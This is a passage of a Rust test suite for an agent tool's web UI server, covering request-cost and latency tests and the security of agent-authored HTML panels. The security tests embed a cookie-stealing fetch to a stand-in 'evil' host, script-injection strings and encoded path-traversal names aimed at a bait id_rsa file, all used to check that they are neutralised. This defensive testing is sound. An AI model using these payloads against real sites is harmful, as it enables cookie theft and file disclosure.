9304 crate::git::git(tmp.path(), &["init", "--bare", origin.to_str().unwrap()])
9305 .await
9306 .unwrap();
9307 crate::git::git(
9308 &repo,
9309 &["remote", "add", "origin", origin.to_str().unwrap()],
9310 )
9311 .await
9312 .unwrap();
9313 crate::git::git(&repo, &["push", "origin", "main"])
9314 .await
9315 .unwrap();
9316 crate::git::git(
9317 &repo,
9318 &[
9319 "symbolic-ref",
9320 "refs/remotes/origin/HEAD",
9321 "refs/remotes/origin/main",
9322 ],
9323 )
9324 .await
9325 .unwrap();
9326 let (cfg, _) = Config::discover(&repo, None).unwrap();
9327 assert!(cfg.agents.iter().any(|a| a.id == "mock"));
9328 repos.push(repo);
9329 }
9330 let repos: [PathBuf; 2] = repos.try_into().unwrap();
9331 (tmp, repos)
9332 }
9333
9334 async fn performance_fixture() -> (TempDir, [PathBuf; 2], Fixture) {
9335 let (tmp, repos) = performance_repositories().await;
9336 let machine = tmp.path().join("machine.toml");
9337 std::fs::write(&machine, "").unwrap();
9338 let fx = Fixture::with_repo_and_machine(repos[0].clone(), machine).await;
9339 (tmp, repos, fx)
9340 }
9341
9342 fn seed_performance(
9343 fx: &Fixture,
9344 repos: &[PathBuf; 2],
9345 questions: usize,
9346 runs: usize,
9347 items: usize,
9348 ) {
9349 for i in fx.questions().list().len()..questions {
9351 let mut question = Question::new(
9352 "20261001-000000-0000".into(),
9353 "implement".into(),
9354 "impl-A".into(),
9355 format!("question {i}"),
9356 "context".into(),
9357 vec!["yes".into(), "no".into()],
9358 );
9359 question.id = format!("20261003-000000-{i:04x}");
9360 fx.questions().put(&mut question).unwrap();
9361 }
9362 for i in run_ids(&fx.runs()).len()..runs {
9363 write_run_repo(
9364 &fx.runs(),
9365 &format!("20261001-000000-{i:04x}"),
9366 RunStatus::Ready,
9367 repos[i % 2].to_str().unwrap(),
9368 );
9369 }
9370 for i in fx.talks().list().len()..items {
9371 let id = seed_talk(fx, &format!("20261002-000000-{i:04x}"), "open");
9372 let mut talk = fx.talks().get(&id).unwrap();
9373 talk.repo = repos[i % 2].clone();
9374 fx.talks().put(&mut talk).unwrap();
9375 let mut task = crate::queue::Task::new(
9376 format!("task {i}"),
9377 "instruction".into(),
9378 repos[i % 2].clone(),
9379 crate::queue::Source::Agent {
9380 run: id,
9381 node: crate::queue::CHAT_NODE.into(),
9382 },
9383 );
9384 task.id = format!("20261004-000000-{i:04x}");
9385 fx.queue().put(&mut task).unwrap();
9386 if i < crate::notices::CAP {
9388 Notices::at(fx.home.path().join("notifications"))
9389 .raise(Notice::info(&format!("notice-{i}"), "notification"))
9390 .unwrap();
9391 }
9392 }
9393 assert_eq!(fx.questions().list().len(), questions);
9394 assert_eq!(run_ids(&fx.runs()).len(), runs);
9395 assert_eq!(fx.talks().list().len(), items);
9396 assert_eq!(fx.queue().list().len(), items);
9397 assert_eq!(
9398 Notices::at(fx.home.path().join("notifications"))
9399 .list()
9400 .len(),
9401 items.min(crate::notices::CAP)
9402 );
9403 }
9404
9405 fn request_counts(res: &Res) -> (usize, usize) {
9406 assert_eq!(res.status, 200, "{}", res.body);
9407 (
9408 res.header("x-test-discoveries").unwrap().parse().unwrap(),
9409 res.header("x-test-git").unwrap().parse().unwrap(),
9410 )
9411 }
9412
9413 #[tokio::test]
9414 async fn list_request_cost_is_independent_of_record_count() {
9415 let (_tmp, repos, fx) = performance_fixture().await;
9416 let mut previous = None;
9417 for n in [4, 60] {
9418 seed_performance(&fx, &repos, n, n, n);
9419 let mut costs = Vec::new();
9420 for (path, discoveries) in [
9421 ("/api/questions", 1),
9422 ("/api/talks", 2),
9423 ("/api/health", 1),
9424 ("/api/stats", 1),
9425 ] {
9426 for repo in &repos {
9429 let cache = repo.join(".git/magi/config");
9430 if cache.exists() {
9431 std::fs::remove_dir_all(cache).unwrap();
9432 }
9433 }
9434 let cost = request_counts(&fx.get(path).await);
9435 eprintln!("{path} N={n}: discoveries={} git={}", cost.0, cost.1);
9436 assert_eq!(cost.0, discoveries, "{path}, N={n}");
9437 assert!(cost.1 > 0 && cost.1 <= 40, "{path}: {cost:?}");
9438 costs.push(cost);
9439 }
9440 if let Some(previous) = previous {
9441 assert_eq!(costs, previous);
9442 }
9443 previous = Some(costs);
9444 }
9445 }
9449
9450 #[tokio::test]
9453 async fn list_handler_cost_without_transport() {
9454 let (_tmp, repos) = performance_repositories().await;
9455 let fx = Fixture {
9456 home: TempDir::new().unwrap(),
9457 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
9458 };
9459 let ui = Arc::new(
9460 Ui::new(
9461 fx.queue(),
9462 fx.questions(),
9463 fx.talks(),
9464 fx.runs(),
9465 fx.home.path().to_path_buf(),
9466 repos[0].clone(),
9467 )
9468 .with_worktrees_root(fx.home.path().join("wt")),
9469 );
9470 let mut previous = None;
9471 for (n, runs, items) in [(4, 4, 4), (60, 60, 60), (200, 300, 400)] {
9472 seed_performance(&fx, &repos, n, runs, items);
9473 let mut costs = Vec::new();
9474 for endpoint in ["questions", "talks", "health", "stats"] {
9475 for repo in &repos {
9476 let cache = repo.join(".git/magi/config");
9477 if cache.exists() {
9478 std::fs::remove_dir_all(cache).unwrap();
9479 }
9480 }
9481 let (_, cost) = request_cost::measure(async {
9482 match endpoint {
9483 "questions" => {
9484 let _ = questions_list(State(ui.clone())).await.unwrap();
9485 }
9486 "talks" => {
9487 let _ = talks_list(
9488 State(ui.clone()),
9489 Query(ListQuery {
9490 limit: None,
9491 ids: None,
9492 }),
9493 )
9494 .await
9495 .unwrap();
9496 }
9497 "health" => {
9498 let _ = health(State(ui.clone())).await.unwrap();
9499 }
9500 _ => {
9501 let _ = stats_get(State(ui.clone()), Query(StatsQuery::default()))
9502 .await
9503 .unwrap();
9504 }
9505 }
9506 })
9507 .await;
9508 eprintln!("{endpoint} handler N={n}: {cost:?}");
9509 assert_eq!(
9510 cost.0,
9511 if endpoint == "talks" { 2 } else { 1 },
9512 "{endpoint}"
9513 );
9514 assert!(cost.1 > 0 && cost.1 <= 40, "{endpoint}: {cost:?}");
9515 costs.push(cost);
9516 }
9517 if let Some(previous) = previous {
9518 assert_eq!(costs, previous);
9519 }
9520 previous = Some(costs);
9521 }
9522 }
9523
9524 #[tokio::test]
9525 async fn list_request_cost_scopes_do_not_mix() {
9526 let (_tmp, repos, fx) = performance_fixture().await;
9527 seed_performance(&fx, &repos, 10, 0, 10);
9528 let (questions, talks, notices) = tokio::join!(
9529 fx.get("/api/questions"),
9530 fx.get("/api/talks"),
9531 fx.get("/api/notifications")
9532 );
9533 assert_eq!(request_counts(&questions).0, 1);
9534 assert_eq!(request_counts(&talks).0, 2);
9535 assert_eq!(request_counts(¬ices), (0, 0));
9536 }
9537
9538 #[tokio::test]
9539 async fn list_endpoints_large_home_ceiling() {
9540 let (_tmp, repos, fx) = performance_fixture().await;
9541 seed_performance(&fx, &repos, 200, 300, 400);
9542 let mut failures = Vec::new();
9543 for path in [
9546 "/",
9547 "/app.js",
9548 "/app.css",
9549 "/api/questions",
9550 "/api/runs?limit=300",
9551 "/api/queue",
9552 "/api/talks",
9553 "/api/notifications",
9554 "/api/health",
9555 "/api/stats",
9556 "/api/loop",
9557 "/api/settings",
9558 "/api/repos",
9559 ] {
9560 let start = std::time::Instant::now();
9561 let result = tokio::time::timeout(Duration::from_secs(5), fx.get(path)).await;
9562 let elapsed = start.elapsed();
9563 eprintln!("{path}: {elapsed:?}");
9564 match result {
9565 Ok(res) if res.status == 200 && elapsed <= Duration::from_secs(5) => {}
9566 Ok(res) => failures.push(format!("{path}: status {}, {elapsed:?}", res.status)),
9567 Err(_) => failures.push(format!("{path}: exceeded 5 seconds ({elapsed:?})")),
9568 }
9569 }
9570 assert!(failures.is_empty(), "{}", failures.join("\n"));
9571 }
9572
9573 struct Res {
9574 status: u16,
9575 headers: String,
9576 head: String,
9581 body: String,
9582 bytes: Vec<u8>,
9586 }
9587
9588 impl Res {
9589 fn json(&self) -> Value {
9590 serde_json::from_str(&self.body)
9591 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
9592 }
9593
9594 fn header(&self, name: &str) -> Option<&str> {
9596 self.head.lines().find_map(|line| {
9597 let (key, value) = line.split_once(':')?;
9598 key.trim()
9599 .eq_ignore_ascii_case(name)
9600 .then(|| value.trim_start().trim_end_matches('\r'))
9601 })
9602 }
9603 }
9604
9605 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
9608 request_with(addr, method, path, body, &[]).await
9609 }
9610
9611 async fn request_with(
9615 addr: SocketAddr,
9616 method: &str,
9617 path: &str,
9618 body: Option<&str>,
9619 extra: &[(&str, &str)],
9620 ) -> Res {
9621 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
9622 for (name, value) in extra {
9623 head.push_str(&format!("{name}: {value}\r\n"));
9624 }
9625 if let Some(body) = body {
9626 head.push_str("Content-Type: application/json\r\n");
9627 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
9628 }
9629 head.push_str("\r\n");
9630 if let Some(body) = body {
9631 head.push_str(body);
9632 }
9633 let mut socket = tokio::net::TcpStream::connect(addr)
9634 .await
9635 .expect("connect to the test server");
9636 socket
9637 .write_all(head.as_bytes())
9638 .await
9639 .expect("write request");
9640 let mut raw = Vec::new();
9641 socket.read_to_end(&mut raw).await.expect("read response");
9642 let split = raw
9645 .windows(4)
9646 .position(|w| w == b"\r\n\r\n")
9647 .expect("a header block");
9648 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
9649 let bytes = raw[split + 4..].to_vec();
9650 let status = head
9651 .lines()
9652 .next()
9653 .and_then(|line| line.split_whitespace().nth(1))
9654 .and_then(|code| code.parse().ok())
9655 .expect("a status line");
9656 Res {
9657 status,
9658 headers: head.to_lowercase(),
9659 head,
9660 body: String::from_utf8_lossy(&bytes).into_owned(),
9661 bytes,
9662 }
9663 }
9664
9665 async fn request_bytes(
9671 addr: SocketAddr,
9672 path: &str,
9673 headers: &[(&str, &str)],
9674 body: &[u8],
9675 ) -> Res {
9676 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
9677 for (name, value) in headers {
9678 head.push_str(&format!("{name}: {value}\r\n"));
9679 }
9680 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
9681 let mut socket = tokio::net::TcpStream::connect(addr)
9682 .await
9683 .expect("connect to the test server");
9684 socket
9685 .write_all(head.as_bytes())
9686 .await
9687 .expect("write request head");
9688 socket.write_all(body).await.expect("write request body");
9689 let mut raw = Vec::new();
9690 socket.read_to_end(&mut raw).await.expect("read response");
9691 let split = raw
9692 .windows(4)
9693 .position(|w| w == b"\r\n\r\n")
9694 .expect("a header block");
9695 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
9696 let bytes = raw[split + 4..].to_vec();
9697 let status = head
9698 .lines()
9699 .next()
9700 .and_then(|line| line.split_whitespace().nth(1))
9701 .and_then(|code| code.parse().ok())
9702 .expect("a status line");
9703 Res {
9704 status,
9705 headers: head.to_lowercase(),
9706 head,
9707 body: String::from_utf8_lossy(&bytes).into_owned(),
9708 bytes,
9709 }
9710 }
9711
9712 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
9714 let mut state = RunState::new(
9715 PathBuf::from("/repo/magi"),
9716 "main".to_owned(),
9717 "0123456789abcdef".to_owned(),
9718 "Add a web UI\n\nMobile first.".to_owned(),
9719 Config::default(),
9720 );
9721 state.id = id.to_owned();
9722 state.status = status;
9723 let dir = runs.join(id);
9724 std::fs::create_dir_all(&dir).expect("run dir");
9725 std::fs::write(
9726 dir.join("run.json"),
9727 serde_json::to_string_pretty(&state).expect("serialize run"),
9728 )
9729 .expect("write run.json");
9730 }
9731
9732 fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
9736 let mut state = RunState::new(
9737 PathBuf::from(repo),
9738 "main".to_owned(),
9739 "0123456789abcdef".to_owned(),
9740 "task".to_owned(),
9741 Config::default(),
9742 );
9743 state.id = id.to_owned();
9744 state.status = status;
9745 let dir = runs.join(id);
9746 std::fs::create_dir_all(&dir).expect("run dir");
9747 std::fs::write(
9748 dir.join("run.json"),
9749 serde_json::to_string_pretty(&state).expect("serialize run"),
9750 )
9751 .expect("write run.json");
9752 }
9753
9754 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
9755 let body = serde_json::json!({
9756 "schema": 1,
9757 "pid": 4242,
9758 "started_at": Timestamp::now().to_string(),
9759 "updated_at": updated_at.to_string(),
9760 "idle": false,
9761 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
9762 "completed": 7,
9763 "polls": 143,
9764 });
9765 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
9766 }
9767
9768 fn launch_idle(
9778 _opts: daemon::Opts,
9779 stop: daemon::Stop,
9780 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
9781 Box::pin(async move {
9782 while !stop.stopped() {
9783 tokio::time::sleep(Duration::from_millis(2)).await;
9784 }
9785 Ok(())
9786 })
9787 }
9788
9789 fn launch_broken(
9792 _opts: daemon::Opts,
9793 _stop: daemon::Stop,
9794 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
9795 static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
9800 let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
9801 Box::pin(async move {
9802 Err(anyhow::anyhow!(if first {
9803 "publish the daemon status file: read-only file system"
9804 } else {
9805 "the restarted stand-in failed as well"
9806 }))
9807 })
9808 }
9809
9810 static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
9817 static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
9818
9819 fn launch_knocking_on_the_way_out(
9826 _opts: daemon::Opts,
9827 stop: daemon::Stop,
9828 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
9829 Box::pin(async move {
9830 while !stop.stopped() {
9831 tokio::time::sleep(Duration::from_millis(2)).await;
9832 }
9833 let addr = PARK_KNOCK
9834 .lock()
9835 .expect("park knock")
9836 .expect("the test set an address");
9837 let heard = request(addr, "GET", "/api/health", None).await.status;
9838 *PARK_HEARD.lock().expect("park heard") = Some(heard);
9839 Ok(())
9840 })
9841 }
9842
9843 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
9852 for _ in 0..SETTLE_STEPS {
9853 let view = fx.get("/api/loop").await.json();
9854 if want(&view) {
9855 return view;
9856 }
9857 tokio::time::sleep(Duration::from_millis(10)).await;
9858 }
9859 panic!(
9860 "the loop never settled: {}",
9861 fx.get("/api/loop").await.json()
9862 );
9863 }
9864
9865 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
9867 let store = fx.questions();
9868 let mut q = Question::new(
9869 "20260902-000000-beef".to_owned(),
9870 "implement".to_owned(),
9871 "impl-A".to_owned(),
9872 summary.to_owned(),
9873 "because it matters".to_owned(),
9874 choices.iter().map(|c| (*c).to_owned()).collect(),
9875 );
9876 store.put(&mut q).expect("put question");
9877 q.id
9878 }
9879
9880 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
9886 let store = fx.questions();
9887 let mut q = Question::new(
9888 "20260902-000000-beef".to_owned(),
9889 "land".to_owned(),
9890 "fix".to_owned(),
9891 "Merge this?".to_owned(),
9892 "the diff is in the panel".to_owned(),
9893 vec!["merge".to_owned(), "hold".to_owned()],
9894 );
9895 let staging = fx.home.path().join("staging");
9898 std::fs::create_dir_all(&staging).expect("staging dir");
9899 let sources: Vec<PathBuf> = assets
9900 .iter()
9901 .map(|(name, bytes)| {
9902 let path = staging.join(name);
9903 std::fs::write(&path, bytes).expect("write staged asset");
9904 path
9905 })
9906 .collect();
9907 store
9908 .put_panel(&mut q, html, &sources)
9909 .expect("write the panel");
9910 store.put(&mut q).expect("put question");
9911 q.id
9912 }
9913
9914 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
9923 seed_talk_at(&fx.talks(), id, status)
9924 }
9925
9926 fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
9927 std::fs::create_dir_all(store.root()).expect("talks dir");
9928 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
9929 .expect("serialize a seat");
9930 let body = serde_json::json!({
9931 "schema": 1,
9932 "id": id,
9933 "repo": "/repo/magi",
9934 "agent": "mock",
9935 "status": status,
9936 "turns": [],
9937 "created_at": Timestamp::now().to_string(),
9938 "updated_at": Timestamp::now().to_string(),
9939 "seat": seat,
9940 });
9941 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
9942 store.get(id).expect("the seeded talk has to be readable");
9943 id.to_owned()
9944 }
9945
9946 #[tokio::test]
9947 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
9948 let fx = Fixture::start().await;
9949 let id = panel(
9950 &fx,
9951 "<h1>Merge?</h1><img src=\"diff.svg\">",
9952 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
9953 );
9954
9955 for path in [
9956 format!("/api/questions/{id}/panel"),
9957 format!("/api/questions/{id}/asset/diff.svg"),
9958 ] {
9959 let res = fx.get(&path).await;
9960 assert_eq!(res.status, 200, "{path}: {}", res.body);
9961 assert_eq!(
9967 res.header("content-security-policy"),
9968 Some(
9969 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
9970 font-src data:; base-uri 'none'; form-action 'none'; \
9971 frame-ancestors 'self'"
9972 ),
9973 "{path} is the only thing between a hostile panel and the tailnet"
9974 );
9975 assert_eq!(
9976 res.header("x-content-type-options"),
9977 Some("nosniff"),
9978 "{path}: a browser must not re-decide the type we sent"
9979 );
9980 assert_eq!(
9981 res.header("referrer-policy"),
9982 Some("no-referrer"),
9983 "{path}: a panel must not leak the question id off the machine"
9984 );
9985
9986 let pre = fx.head(&path).await;
9991 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
9992 assert_eq!(
9993 pre.header("content-security-policy"),
9994 res.header("content-security-policy"),
9995 "{path}: the preflight carries the same policy"
9996 );
9997 assert_eq!(
9998 pre.header("content-type"),
9999 res.header("content-type"),
10000 "{path}: the preflight carries the same type"
10001 );
10002 }
10003 }
10004
10005 #[tokio::test]
10006 async fn a_panel_reaches_the_browser_byte_for_byte() {
10007 let fx = Fixture::start().await;
10008 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
10013 let id = panel(&fx, html, &[]);
10014
10015 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
10016
10017 assert_eq!(res.status, 200);
10018 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
10019 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
10020 assert_eq!(
10021 res.header("content-disposition"),
10022 None,
10023 "the panel itself is rendered in the frame, not downloaded"
10024 );
10025 }
10026
10027 #[tokio::test]
10028 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
10029 let fx = Fixture::start().await;
10030 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
10031 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
10032 let id = panel(
10033 &fx,
10034 "<img src=\"diff.svg\"><img src=\"shot.png\">",
10035 &[("diff.svg", svg), ("shot.png", png)],
10036 );
10037
10038 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
10039 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
10040
10041 assert_eq!(as_svg.status, 200);
10042 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
10043 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
10048
10049 assert_eq!(as_png.status, 200);
10050 assert_eq!(as_png.header("content-type"), Some("image/png"));
10051 assert_eq!(
10052 as_png.header("content-disposition"),
10053 None,
10054 "a raster image has no execution surface, so tapping it still shows it"
10055 );
10056 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
10057 }
10058
10059 #[tokio::test]
10060 async fn an_html_asset_is_never_served_as_html() {
10061 let fx = Fixture::start().await;
10062 let id = panel(
10063 &fx,
10064 "<p>see the notes</p>",
10065 &[
10066 (
10067 "notes.html",
10068 b"<script>fetch('http://evil/'+document.cookie)</script>",
10069 ),
10070 ("hook.js", b"fetch('http://evil/')"),
10071 ("data.json", b"{}"),
10072 ("HEADLINE.TXT", b"plain"),
10073 ],
10074 );
10075
10076 for name in ["notes.html", "hook.js", "data.json"] {
10077 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
10078 assert_eq!(res.status, 200, "{name}: {}", res.body);
10079 assert_eq!(
10084 res.header("content-type"),
10085 Some("application/octet-stream"),
10086 "{name} must not be a type the browser will execute or render"
10087 );
10088 }
10089 let txt = fx
10092 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
10093 .await;
10094 assert_eq!(
10095 txt.header("content-type"),
10096 Some("text/plain; charset=utf-8")
10097 );
10098 }
10099
10100 #[tokio::test]
10101 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
10102 let fx = Fixture::start().await;
10103 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
10104 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
10108
10109 for encoded in [
10116 "%2e%2e%2fid_rsa",
10117 "..%2fid_rsa",
10118 "..%5cid_rsa",
10119 "%2e%2e%5cid_rsa",
10120 "diff%00.svg",
10121 "..",
10122 ".hidden",
10123 "%2e%2e%2f%2e%2e%2fid_rsa",
10124 ] {
10125 let res = fx
10126 .get(&format!("/api/questions/{id}/asset/{encoded}"))
10127 .await;
10128 assert_eq!(
10129 res.status, 400,
10130 "`{encoded}` has to be refused by name, not looked up: {}",
10131 res.body
10132 );
10133 assert!(res.json()["error"].is_string(), "{}", res.body);
10134 }
10135
10136 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
10142 let res = fx
10143 .get(&format!("/api/questions/{id}/asset/{literal}"))
10144 .await;
10145 assert_eq!(
10146 res.status, 404,
10147 "`{literal}` must not match the asset route at all: {}",
10148 res.body
10149 );
10150 }
10151 }
10152
10153 #[tokio::test]
10154 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
10155 let fx = Fixture::start().await;
10156 let plain = ask(&fx, "Which backend?", &["SQLite"]);
10157 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
10158
10159 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
10163 assert_eq!(none.status, 404, "{}", none.body);
10164 assert!(none.json()["error"].is_string(), "{}", none.body);
10165 assert_eq!(
10166 fx.head(&format!("/api/questions/{plain}/panel"))
10167 .await
10168 .status,
10169 404,
10170 "the preflight is the only way the client can learn this"
10171 );
10172
10173 let missing = fx
10175 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
10176 .await;
10177 assert_eq!(missing.status, 404, "{}", missing.body);
10178 assert!(missing.json()["error"].is_string(), "{}", missing.body);
10179
10180 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
10182 assert_eq!(
10183 fx.get("/api/questions/nope/asset/diff.svg").await.status,
10184 404
10185 );
10186 }
10187
10188 #[tokio::test]
10189 async fn a_run_with_an_open_question_reads_as_waiting() {
10190 let fx = Fixture::start().await;
10191 let run = "20260902-000000-beef".to_owned();
10192 write_run(&fx.runs(), &run, RunStatus::Implementing);
10193
10194 let before = fx.get("/api/runs").await.json();
10195 assert_eq!(before[0]["waiting"], false, "{before}");
10196
10197 let store = fx.questions();
10198 let mut q = Question::new(
10199 run.clone(),
10200 "implement".to_owned(),
10201 "impl-A".to_owned(),
10202 "Which backend?".to_owned(),
10203 String::new(),
10204 vec!["SQLite".to_owned()],
10205 );
10206 store.put(&mut q).expect("put");
10207
10208 let during = fx.get("/api/runs").await.json();
10209 assert_eq!(during[0]["waiting"], true, "{during}");
10210
10211 q.answer(Answer::Choice("SQLite".to_owned()))
10214 .expect("answer");
10215 store.put(&mut q).expect("put");
10216 let after = fx.get("/api/runs").await.json();
10217 assert_eq!(after[0]["waiting"], false, "{after}");
10218 }
10219
10220 #[tokio::test]
10221 async fn an_open_question_is_listed_and_counted_by_health() {
10222 let fx = Fixture::start().await;
10223 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
10224
10225 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10226 let listed = fx.get("/api/questions").await.json();
10227 assert_eq!(listed.as_array().expect("array").len(), 1);
10228 assert_eq!(listed[0]["id"], id);
10229 assert_eq!(listed[0]["status"], "open");
10230 assert_eq!(listed[0]["choices"][1], "Redis");
10231 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
10234 }
10235
10236 fn obsolete_approval_state() -> RunState {
10237 let mut state = crate::land::tests::repair_state(true, true);
10238 state.pr = Some(crate::run::PrRecord {
10239 url: "https://github.com/example/repo/pull/42".into(),
10240 number: 42,
10241 state: "open".into(),
10242 checks: "green".into(),
10243 round: 1,
10244 rounds: 4,
10245 red_at_merge: Vec::new(),
10246 });
10247 state
10248 }
10249
10250 #[tokio::test]
10251 async fn obsolete_approval_answer_handler_persists_retirement_for_each_owner_shape() {
10252 for owner in ["missing", "current", "completed", "later"] {
10253 let fx = Fixture {
10254 home: TempDir::new().unwrap(),
10255 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
10256 };
10257 let mut state = obsolete_approval_state();
10258 state.status = RunStatus::Landing;
10259 state.parked = true;
10260 state.driver_exited = true;
10261 let mut q = Question::new(
10262 state.id.clone(),
10263 crate::land::APPROVAL_NODE.into(),
10264 "land".into(),
10265 "Old approval".into(),
10266 "Original evidence".into(),
10267 vec!["merge".into(), "hold".into()],
10268 );
10269 state.land_approval = Some(crate::run::LandApproval {
10270 question: q.id.clone(),
10271 head: "head".into(),
10272 });
10273 state.save_under(fx.home.path()).unwrap();
10274 let stale = state.clone();
10275 fx.questions().put(&mut q).unwrap();
10276 let mut task = Task::new(
10277 "Owner".into(),
10278 "Original instruction".into(),
10279 state.repo.clone(),
10280 Source::Human,
10281 );
10282 task.runs.push(state.id.clone());
10283 task.status = if owner == "completed" {
10284 TaskStatus::Done
10285 } else {
10286 TaskStatus::Parked
10287 };
10288 if owner == "later" {
10289 task.runs.push("later-run".into());
10290 }
10291 if owner != "missing" {
10292 fx.queue().put(&mut task).unwrap();
10293 }
10294 let ui = Arc::new(Ui::new(
10295 fx.queue(),
10296 fx.questions(),
10297 fx.talks(),
10298 fx.runs(),
10299 fx.home.path().into(),
10300 state.repo.clone(),
10301 ));
10302 let response = question_answer(
10303 State(ui),
10304 Path(q.id.clone()),
10305 Ok(Json(NewAnswer {
10306 choice: Some(crate::merge_decision::DISMISS.into()),
10307 text: None,
10308 })),
10309 )
10310 .await
10311 .unwrap();
10312 assert_eq!(
10313 response.0.question.resolution().as_deref(),
10314 Some(crate::merge_decision::DISMISS)
10315 );
10316 let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
10317 assert_eq!(disk.status, RunStatus::Superseded);
10318 assert!(crate::pr_head::ensure_owner_record(&stale, Some(&disk)).is_err());
10319 assert!(!crate::merge_decision::resumable_hold(&disk));
10320 assert_eq!(
10321 serde_json::to_value(&disk.pr).unwrap(),
10322 serde_json::to_value(&stale.pr).unwrap()
10323 );
10324 assert_eq!(fx.questions().count_open(), 0);
10325 assert!(fx.questions().get(&q.id).unwrap().chosen_action().is_none());
10326 crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
10327 if owner == "missing" {
10328 assert!(fx.queue().list().is_empty());
10329 } else {
10330 let after = fx.queue().get(&task.id).unwrap();
10331 assert_eq!(
10332 after.status,
10333 if owner == "current" {
10334 TaskStatus::Done
10335 } else {
10336 task.status
10337 }
10338 );
10339 assert_eq!(after.runs, task.runs);
10340 assert_eq!(after.instruction, task.instruction);
10341 assert_eq!(after.action_applied(&q.id), owner == "current");
10342 }
10343 }
10344 }
10345
10346 #[tokio::test]
10347 async fn obsolete_legacy_approval_dismissal_survives_http_reconnect_without_an_owner() {
10348 let fx = Fixture::start().await;
10349 let mut state = obsolete_approval_state();
10350 state.status = RunStatus::Landing;
10351 state.parked = true;
10352 state.driver_exited = true;
10353 let mut q = Question::new(
10354 state.id.clone(),
10355 crate::land::APPROVAL_NODE.into(),
10356 "land".into(),
10357 "Superseded PR approval".into(),
10358 "Original review evidence".into(),
10359 vec!["merge".into(), "hold".into()],
10360 );
10361 state.land_approval = Some(crate::run::LandApproval {
10362 question: q.id.clone(),
10363 head: "old-reviewed-head".into(),
10364 });
10365 state.save_under(fx.home.path()).unwrap();
10368 let stale_driver = state.clone();
10369 fx.questions().put(&mut q).unwrap();
10370 let path = fx
10371 .home
10372 .path()
10373 .join("questions")
10374 .join(format!("{}.json", q.id));
10375 let mut legacy = serde_json::to_value(&q).unwrap();
10376 legacy["schema"] = 9.into();
10377 legacy.as_object_mut().unwrap().remove("merge_target");
10378 std::fs::write(&path, serde_json::to_vec(&legacy).unwrap()).unwrap();
10379
10380 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
10383 let answer_path = format!("/api/questions/{}/answer", q.id);
10384 let res = fx.post(&answer_path, Some(&body)).await;
10385 assert_eq!(res.status, 200, "{}", res.body);
10386 let disk = fx.questions().get(&q.id).unwrap();
10387 assert_eq!(
10388 disk.resolution().as_deref(),
10389 Some(crate::merge_decision::DISMISS)
10390 );
10391 assert!(disk.detail.starts_with("Original review evidence"));
10392 let retired = RunState::load_under(&state.id, fx.home.path()).unwrap();
